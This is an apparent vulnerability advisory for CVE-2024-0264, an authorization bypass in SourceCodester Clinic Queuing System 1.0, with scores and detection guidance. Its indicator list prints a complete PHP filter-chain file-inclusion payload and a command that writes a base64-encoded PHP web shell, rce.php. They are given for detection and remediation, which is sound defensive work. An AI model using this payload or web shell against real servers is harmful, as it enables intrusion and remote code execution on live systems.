CVE-2024-0264

published 2024-01-07

CVE-2024-0264: A vulnerability was found in SourceCodester Clinic Queuing System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file…

Priority P2 75 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

A vulnerability was found in SourceCodester Clinic Queuing System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /LoginRegistration.php. The manipulation of the argument formToken leads to authorization bypass. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249820.

Affected

2 ranges

Vendor	Product	Version range	Fixed in
oretnom23	clinic_queuing_system	—	—
sourcecodester	clinic_queuing_system	—	—

Detection & IOCs extracted from sources · hover to see the quote

url /LoginRegistration.php?a=save_user↗

url /LoginRegistration.php?a=login↗

path /LoginRegistration.php↗

filename rce.php↗

url /?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home

command file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8+'));↗

other PD89YCRfR0VUWzBdYD8+↗

• → Detect authorization bypass via empty formToken: POST requests to /LoginRegistration.php?a=save_user with formToken set to an empty string should be flagged, as the exploit submits an empty formToken to bypass authorization and create an admin account. ↗
• → Detect PHP filter chain LFI abuse: HTTP GET requests to /?page= containing the string 'php://filter/convert.iconv' are indicative of PHP filter chaining used for RCE via LFI. ↗
• → Detect web shell drop: Monitor for creation of 'rce.php' in the web root, which is the backdoor filename written by the exploit via file_put_contents. ↗
• → Detect canary string in HTTP responses: The exploit checks for the string 'jmrcsnchz' in the response body to confirm RCE success; this string in server responses or logs indicates active exploitation. ↗
• → Detect successful unauthorized user creation: HTTP responses containing 'User Account has been added successfully.' following a POST to /LoginRegistration.php?a=save_user with an empty formToken indicate exploitation of CVE-2024-0264. ↗
• → Detect the exploit's two-stage attack pattern: sequential POST to /LoginRegistration.php?a=save_user (admin creation) followed by POST to /LoginRegistration.php?a=login from the same source IP, then GET to /?page=php://filter/... is a strong indicator of the full RCE chain. ↗

• · The exploit targets Clinic Queuing System version 1.0 specifically; the formToken bypass and LFI via the ?page= parameter may be patched or behave differently in other versions. ↗
• · The exploit was tested on Debian Linux with Apache; the PHP filter chain RCE technique (CVE-2024-0265) depends on PHP's iconv and base64 filter wrappers being available and enabled on the server. ↗
• · This exploit chains two CVEs: CVE-2024-0264 (formToken auth bypass for admin account creation) and CVE-2024-0265 (LFI/RCE via the ?page= parameter). Detection and remediation must address both vulnerabilities. ↗

CVSS provenance

nvd v3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

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